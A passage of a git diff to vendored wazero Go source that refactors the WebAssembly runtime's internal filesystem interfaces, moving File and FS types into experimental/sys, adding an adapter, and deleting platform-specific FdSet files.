https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-oflags-flagsu16 -// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fdflags-flagsu16 -const ( - // O_RDONLY is like os.O_RDONLY - O_RDONLY Oflag = iota - - // O_RDWR is like os.O_RDWR - O_RDWR - - // O_WRONLY is like os.O_WRONLY - O_WRONLY - - // Define bitflags as they are in POSIX `open`: alphabetically - - // O_APPEND is like os.O_APPEND - O_APPEND Oflag = 1 << iota - - // O_CREAT is link os.O_CREATE - O_CREAT - - // O_DIRECTORY is defined on some platforms as syscall.O_DIRECTORY. - // - // Note: This ensures that the opened file is a directory. Those emulating - // on platforms that don't support the O_DIRECTORY, can double-check the - // result with File.IsDir (or stat) and err if not a directory. - O_DIRECTORY - - // O_DSYNC is defined on some platforms as syscall.O_DSYNC. - O_DSYNC - - // O_EXCL is defined on some platforms as syscall.O_EXCL. - O_EXCL - - // O_NOFOLLOW is defined on some platforms as syscall.O_NOFOLLOW. - // - // Note: This allows programs to ensure that if the opened file is a - // symbolic link, the link itself is opened instead of its target. - O_NOFOLLOW - - // O_NONBLOCK is defined on some platforms as syscall.O_NONBLOCK. - O_NONBLOCK - - // O_RSYNC is defined on some platforms as syscall.O_RSYNC. - O_RSYNC - - // O_SYNC is defined on some platforms as syscall.O_SYNC. - O_SYNC - - // O_TRUNC is defined on some platforms as syscall.O_TRUNC. - O_TRUNC -) diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go index b31cbd13f5..99d9c2db34 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go +++ b/vendor/github.com/tetratelabs/wazero/internal/fsapi/unimplemented.go @@ -1,193 +1,27 @@ package fsapi -import ( - "io/fs" - "syscall" - "time" +import experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/sys" -) - -// UnimplementedFS is an FS that returns ENOSYS for all functions, -// This should be embedded to have forward compatible implementations. -type UnimplementedFS struct{} - -// String implements fmt.Stringer -func (UnimplementedFS) String() string { - return "Unimplemented:/" -} - -// Open implements the same method as documented on fs.FS -func (UnimplementedFS) Open(name string) (fs.File, error) { - return nil, &fs.PathError{Op: "open", Path: name, Err: experimentalsys.ENOSYS} -} - -// OpenFile implements FS.OpenFile -func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// Lstat implements FS.Lstat -func (UnimplementedFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Stat implements FS.Stat -func (UnimplementedFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Readlink implements FS.Readlink -func (UnimplementedFS) Readlink(path string) (string, experimentalsys.Errno) { - return "", experimentalsys.ENOSYS -} - -// Mkdir implements FS.Mkdir -func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Chmod implements FS.Chmod -func (UnimplementedFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rename implements FS.Rename -func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rmdir implements FS.Rmdir -func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Link implements FS.Link -func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Symlink implements FS.Symlink -func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Unlink implements FS.Unlink -func (UnimplementedFS) Unlink(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Utimens implements FS.Utimens -func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Truncate implements FS.Truncate -func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// UnimplementedFile is a File that returns ENOSYS for all functions, -// except where no-op are otherwise documented. -// -// This should be embedded to have forward compatible implementations. -type UnimplementedFile struct{} - -// Dev implements File.Dev -func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) { - return 0, 0 -} - -// Ino implements File.Ino -func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) { - return 0, 0 -} - -// IsDir implements File.IsDir -func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) { - return false, 0 +func Adapt(f experimentalsys.File) File { + if f, ok := f.(File); ok { + return f + } + return unimplementedFile{f} } -// IsAppend implements File.IsAppend -func (UnimplementedFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.ENOSYS -} +type unimplementedFile struct{ experimentalsys.File } // IsNonblock implements File.IsNonblock -func (UnimplementedFile) IsNonblock() bool { +func (unimplementedFile) IsNonblock() bool { return false } // SetNonblock implements File.SetNonblock -func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno { +func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno { return experimentalsys.ENOSYS } -// Stat implements File.Stat -func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Read implements File.Read -func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pread implements File.Pread -func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Seek implements File.Seek -func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Readdir implements File.Readdir -func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// PollRead implements File.PollRead -func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements File.Poll +func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) { return false, experimentalsys.ENOSYS } - -// Write implements File.Write -func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pwrite implements File.Pwrite -func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Truncate implements File.Truncate -func (UnimplementedFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Sync implements File.Sync -func (UnimplementedFile) Sync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Datasync implements File.Datasync -func (UnimplementedFile) Datasync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Utimens implements File.Utimens -func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Close implements File.Close -func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go deleted file mode 100644 index 1017c805ac..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go +++ /dev/null @@ -1,25 +0,0 @@ -//go:build !windows - -package platform - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - f.Bits[fd/nfdbits] |= (1 << (uintptr(fd) % nfdbits)) -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - f.Bits[fd/nfdbits] &^= (1 << (uintptr(fd) % nfdbits)) -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - return f.Bits[fd/nfdbits]&(1<<(uintptr(fd)%nfdbits)) != 0 -} - -// Zero clears the set. -func (f *FdSet) Zero() { - for i := range f.Bits { - f.Bits[i] = 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go deleted file mode 100644 index da52339cbc..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x20 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go deleted file mode 100644 index f392caf4c1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x40 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go deleted file mode 100644 index ad9cf09109..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !darwin && !linux && !windows - -package platform - -const nfdbits = 0x40 - -// FdSet mocks syscall.FdSet on systems that do not support it. -type FdSet struct { - Bits [16]int64 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go deleted file mode 100644 index 60773ed54a..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go +++ /dev/null @@ -1,239 +0,0 @@ -package platform - -import ( - "syscall" - "unsafe" -) - -var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") - -// Maximum number of fds in a WinSockFdSet. -const _FD_SETSIZE = 64 - -// WinSockFdSet implements the FdSet representation that is used internally by WinSock. -// -// Note: this representation is quite different from the one used in most POSIX implementations -// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair. -// Notice that because it keeps a count of the inserted handles, the first argument of select -// in WinSock is actually ignored. -// -// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly -// the real implementation found in WinSock2.h, e.g. see: -// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175 -type WinSockFdSet struct { - // count is the number of used slots used in the handles slice. - count uint64 - // handles is the array of handles. This is called "array" in the WinSock implementation - // and it has a fixed length of _FD_SETSIZE. - handles [_FD_SETSIZE]syscall.Handle -} - -// FdSet implements the same methods provided on other plaforms. -// -// Note: the implementation is very different from POSIX; Windows provides -// POSIX select only for sockets. We emulate a select for other APIs in the sysfs -// package, but we still want to use the "real" select in the case of sockets. -// So, we keep separate FdSets for sockets, pipes and regular files, so that we can -// handle them separately. For instance sockets can be used directly in winsock select. -type FdSet struct { - sockets WinSockFdSet - pipes WinSockFdSet - regular WinSockFdSet -} - -// SetAll overwrites all the fields in f with the fields in g. -func (f *FdSet) SetAll(g *FdSet) { - if f == nil { - return - } - f.sockets = g.sockets - f.pipes = g.pipes - f.regular = g.regular -} - -// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets. -func (f *FdSet) Sockets() *WinSockFdSet { - if f == nil { - return nil - } - return &f.sockets -} - -// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files. -func (f *FdSet) Regular() *WinSockFdSet { - if f == nil { - return nil - } - return &f.regular -} - -// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes. -func (f *FdSet) Pipes() *WinSockFdSet { - if f == nil { - return nil - } - return &f.pipes -} - -// getFdSetFor returns a pointer to the right fd set for the given fd. -// It checks the type for fd and returns the field for pipes, regular or sockets -// to simplify code. -// -// For instance, if fd is a socket and it must be set if f.pipes, instead -// of writing: -// -// if isSocket(fd) { -// f.sockets.Set(fd) -// } -// -// It is possible to write: -// -// f.getFdSetFor(fd).Set(fd) -func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet { - h := syscall.Handle(fd) - t, err := syscall.GetFileType(h) - if err != nil { - return nil - } - switch t { - case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: - return &f.regular - case syscall.FILE_TYPE_PIPE: - if isSocket(h) { - return &f.sockets - } else { - return &f.pipes - } - default: - return nil - } -} - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Set(fd) - } -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Clear(fd) - } -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - if s := f.getFdSetFor(fd); s != nil { - return s.IsSet(fd) - } - return false -} - -// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil. -func (f *FdSet) Copy() *FdSet { - if f == nil { - return nil - } - return &FdSet{ - sockets: f.sockets, - pipes: f.pipes, - regular: f.regular, - } -} - -// Zero clears the set. It returns 0 if the FdSet is nil. -func (f *FdSet) Count() int { - if f == nil { - return 0 - } - return f.sockets.Count() + f.regular.Count() + f.pipes.Count() -} - -// Zero clears the set. -func (f *FdSet) Zero() { - if f == nil { - return - } - f.sockets.Zero() - f.regular.Zero() - f.pipes.Zero() -} - -// Set adds the given fd to the set. -func (f *WinSockFdSet) Set(fd int) { - if f.count < _FD_SETSIZE { - f.handles[f.count] = syscall.Handle(fd) - f.count++ - } -} - -// Clear removes the given fd from the set. -func (f *WinSockFdSet) Clear(fd int) { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - for ; i < f.count-1; i++ { - f.handles[i] = f.handles[i+1] - } - f.count-- - break - } - } -} - -// IsSet returns true when fd is in the set. -func (f *WinSockFdSet) IsSet(fd int) bool { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - return true - } - } - return false -} - -// Zero clears the set. -func (f *WinSockFdSet) Zero() { - if f == nil { - return - } - f.handles = [64]syscall.Handle{} - f.count = 0 -} - -// Count returns the number of values that are set in the fd set. -func (f *WinSockFdSet) Count() int { - if f == nil { - return 0 - } - return int(f.count) -} - -// Copy returns a copy of the fd set or nil if it is nil. -func (f *WinSockFdSet) Copy() *WinSockFdSet { - if f == nil { - return nil - } - copy := *f - return © -} - -// Get returns the handle at the given index. -func (f *WinSockFdSet) Get(index int) syscall.Handle { - return f.handles[index] -} - -// isSocket returns true if the given file handle -// is a pipe. -func isSocket(fd syscall.Handle) bool { - r, _, errno := syscall.SyscallN( - procGetNamedPipeInfo.Addr(), - uintptr(fd), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil))) - return r == 0 || errno != 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go index c49d1fbb22..ca17aa39ee 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go @@ -5,25 +5,24 @@ import ( "net" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) // TCPSock is a pseudo-file representing a TCP socket. type TCPSock interface { - fsapi.File + sys.File Accept() (TCPConn, sys.Errno) } // TCPConn is a pseudo-file representing a TCP connection. type TCPConn interface { - fsapi.File + sys.File // Recvfrom only supports the flag sysfs.MSG_PEEK - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Recvfrom(p []byte, flags int) (n int, errno sys.Errno) - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Shutdown(how int) sys.Errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go index f85e2ff24e..332a952626 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go @@ -48,7 +48,7 @@ type FileEntry struct { IsPreopen bool // FS is the filesystem associated with the pre-open. - FS fsapi.FS + FS sys.FS // File is always non-nil. File fsapi.File @@ -91,7 +91,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { return f.direntCache, 0 } -// DirentCache is a caching abstraction of fsapi.File Readdir. +// DirentCache is a caching abstraction of sys.File Readdir. // // This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be // unneeded, or require changes, to support preview1 or preview2. @@ -99,7 +99,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // described below, any may need to be re-read. This accepts any positions // in the cache, rather than track the position of the last dirent. // - dot entries ("." and "..") must be returned. See /RATIONALE.md for why. -// - An fsapi.Dirent Name is variable length, it could exceed memory size and +// - An sys.Dirent Name is variable length, it could exceed memory size and // need to be re-read. // - Multiple dirents may be returned. It is more efficient to read from the // underlying file in bulk vs one-at-a-time. @@ -110,17 +110,17 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // approach is sometimes called a sliding window. type DirentCache struct { // f is the underlying file - f fsapi.File + f sys.File // dotEntries are the "." and ".." entries added when the directory is // initialized. - dotEntries []fsapi.Dirent + dotEntries []sys.Dirent // dirents are the potentially unread directory entries. // // Internal detail: nil is different from zero length. Zero length is an // exhausted directory (eof). nil means the re-read. - dirents []fsapi.Dirent + dirents []sys.Dirent // countRead is the total count of dirents read since last rewind. countRead uint64 @@ -132,28 +132,28 @@ type DirentCache struct { } // synthesizeDotEntries generates a slice of the two elements "." and "..". -func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) { +func synthesizeDotEntries(f *FileEntry) ([]sys.Dirent, sys.Errno) { dotIno, errno := f.File.Ino() if errno != 0 { return nil, errno } - result := [2]fsapi.Dirent{} - result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} + result := [2]sys.Dirent{} + result[0] = sys.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} // See /RATIONALE.md for why we don't attempt to get an inode for ".." and // why in wasi-libc this won't fan-out either. - result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} + result[1] = sys.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} return result[:], 0 } // exhaustedDirents avoids allocating empty slices. -var exhaustedDirents = [0]fsapi.Dirent{} +var exhaustedDirents = [0]sys.Dirent{} -// Read is similar to and returns the same errors as `Readdir` on fsapi.File. +// Read is similar to and returns the same errors as `Readdir` on sys.File. // The main difference is this caches entries returned, resulting in multiple // valid positions to read from. // // When zero, `pos` means rewind to the beginning of this directory. This -// implies a rewind (Seek to zero on the underlying fsapi.File), unless the +// implies a rewind (Seek to zero on the underlying sys.File), unless the // initial entries are still cached. // // When non-zero, `pos` is the zero based index of all dirents returned since @@ -162,9 +162,9 @@ var exhaustedDirents = [0]fsapi.Dirent{} // described on DirentCache documentation. // // Up to `n` entries are cached and returned. When `n` exceeds the cache, the -// difference are read from the underlying fsapi.File via `Readdir`. EOF is +// difference are read from the underlying sys.File via `Readdir`. EOF is // when `len(dirents)` returned are less than `n`. -func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) { +func (d *DirentCache) Read(pos uint64, n uint32) (dirents []sys.Dirent, errno sys.Errno) { switch { case pos > d.countRead: // farther than read or negative coerced to uint64. return nil, sys.ENOENT @@ -239,7 +239,7 @@ func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno } // cachedDirents returns up to `n` dirents from the cache. -func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { +func (d *DirentCache) cachedDirents(n uint32) []sys.Dirent { direntCount := uint32(len(d.dirents)) switch { case direntCount == 0: @@ -252,7 +252,7 @@ func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { type FSContext struct { // rootFS is the root ("/") mount. - rootFS fsapi.FS + rootFS sys.FS // openedFiles is a map of file descriptor numbers (>=FdPreopen) to open files // (or directories) and defaults to empty. @@ -269,9 +269,9 @@ type FileTable = descriptor.Table[int32, *FileEntry] // // TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js // (after Go 1.22 is released). -func (c *FSContext) RootFS() fsapi.FS { +func (c *FSContext) RootFS() sys.FS { if rootFS := c.rootFS; rootFS == nil { - return fsapi.UnimplementedFS{} + return sys.UnimplementedFS{} } else { return rootFS } @@ -284,11 +284,11 @@ func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) { // OpenFile opens the file into the table and returns its file descriptor. // The result must be closed by CloseFile or Close. -func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) { +func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.FileMode) (int32, sys.Errno) { if f, errno := fs.OpenFile(path, flag, perm); errno != 0 { return 0, errno } else { - fe := &FileEntry{FS: fs, File: f} + fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)} if path == "/" || path == "." { fe.Name = "" } else { @@ -330,8 +330,8 @@ func (c *FSContext) Renumber(from, to int32) sys.Errno { return 0 } -// SockAccept accepts a socketapi.TCPConn into the file table and returns -// its file descriptor. +// SockAccept accepts a sock.TCPConn into the file table and returns its file +// descriptor. func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { var sock socketapi.TCPSock if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen { @@ -340,18 +340,20 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { return 0, sys.EBADF // Not a sock } - var conn socketapi.TCPConn - var errno sys.Errno - if conn, errno = sock.Accept(); errno != 0 { + conn, errno := sock.Accept() + if errno != 0 { return 0, errno - } else if nonblock { - if errno = conn.SetNonblock(true); errno != 0 { + } + + fe := &FileEntry{File: fsapi.Adapt(conn)} + + if nonblock { + if errno = fe.File.SetNonblock(true); errno != 0 { _ = conn.Close() return 0, errno } } - fe := &FileEntry{File: conn} if newFD, ok := c.openedFiles.Insert(fe); !ok { return 0, sys.EBADF } else { @@ -391,7 +393,7 @@ func (c *FSContext) Close() (err error) { func (c *Context) InitFSContext( stdin io.Reader, stdout, stderr io.Writer, - fs []fsapi.FS, guestPaths []string, + fs []sys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (err error) { inFile, err := stdinFileEntry(stdin) @@ -427,7 +429,7 @@ func (c *Context) InitFSContext( } for _, tl := range tcpListeners { - c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)}) + c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))}) } return nil } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go index 011a5a4dc5..fe233d29ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go @@ -1,126 +1,124 @@ package sys import ( - "syscall" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// compile-time check to ensure lazyDir implements fsapi.File. -var _ fsapi.File = (*lazyDir)(nil) +// compile-time check to ensure lazyDir implements sys.File. +var _ experimentalsys.File = (*lazyDir)(nil) type lazyDir struct { - fsapi.DirFile + experimentalsys.DirFile - fs fsapi.FS - f fsapi.File + fs experimentalsys.FS + f experimentalsys.File } -// Dev implements the same method as documented on fsapi.File -func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Dev implements the same method as documented on sys.File +func (d *lazyDir) Dev() (uint64, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Dev() } } -// Ino implements the same method as documented on fsapi.File -func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Ino implements the same method as documented on sys.File +func (d *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Ino() } } -// IsDir implements the same method as documented on fsapi.File -func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) { +// IsDir implements the same method as documented on sys.File +func (d *lazyDir) IsDir() (bool, experimentalsys.Errno) { // Note: we don't return a constant because we don't know if this is really // backed by a dir, until the first call. - if f, ok := r.file(); !ok { + if f, ok := d.file(); !ok { return false, experimentalsys.EBADF } else { return f.IsDir() } } -// IsAppend implements the same method as documented on fsapi.File -func (r *lazyDir) IsAppend() bool { +// IsAppend implements the same method as documented on sys.File +func (d *lazyDir) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File -func (r *lazyDir) SetAppend(bool) experimentalsys.Errno { +// SetAppend implements the same method as documented on sys.File +func (d *lazyDir) SetAppend(bool) experimentalsys.Errno { return experimentalsys.EISDIR } -// Seek implements the same method as documented on fsapi.File -func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Seek implements the same method as documented on sys.File +func (d *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Seek(offset, whence) } } -// Stat implements the same method as documented on fsapi.File -func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Stat implements the same method as documented on sys.File +func (d *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return sys.Stat_t{}, experimentalsys.EBADF } else { return f.Stat() } } -// Readdir implements the same method as documented on fsapi.File -func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Readdir implements the same method as documented on sys.File +func (d *lazyDir) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return nil, experimentalsys.EBADF } else { return f.Readdir(n) } } -// Sync implements the same method as documented on fsapi.File -func (r *lazyDir) Sync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Sync implements the same method as documented on sys.File +func (d *lazyDir) Sync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Sync() } } -// Datasync implements the same method as documented on fsapi.File -func (r *lazyDir) Datasync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Datasync implements the same method as documented on sys.File +func (d *lazyDir) Datasync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Datasync() } } -// Utimens implements the same method as documented on fsapi.File -func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Utimens implements the same method as documented on sys.File +func (d *lazyDir) Utimens(atim, mtim int64) experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { - return f.Utimens(times) + return f.Utimens(atim, mtim) } } // file returns the underlying file or false if it doesn't exist. -func (r *lazyDir) file() (fsapi.File, bool) { - if f := r.f; r.f != nil { +func (d *lazyDir) file() (experimentalsys.File, bool) { + if f := d.f; d.f != nil { return f, true } var errno experimentalsys.Errno - r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0) + d.f, errno = d.fs.OpenFile(".", experimentalsys.O_RDONLY, 0) switch errno { case 0: - return r.f, true + return d.f, true case experimentalsys.ENOENT: return nil, false default: @@ -129,10 +127,25 @@ func (r *lazyDir) file() (fsapi.File, bool) { } // Close implements fs.File -func (r *lazyDir) Close() experimentalsys.Errno { - f := r.f +func (d *lazyDir) Close() experimentalsys.Errno { + f := d.f if f == nil { return 0 // never opened } return f.Close() } + +// IsNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.EISDIR +} + +// Poll implements the same method as documented on fsapi.File +func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go index b153e32c19..32c33661eb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go @@ -3,7 +3,6 @@ package sys import ( "io" "os" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -19,7 +18,7 @@ type StdinFile struct { io.Reader } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) { n, err := f.Reader.Read(buf) return n, experimentalsys.UnwrapOSError(err) @@ -31,7 +30,7 @@ type writerFile struct { w io.Writer } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) { n, err := f.w.Write(buf) return n, 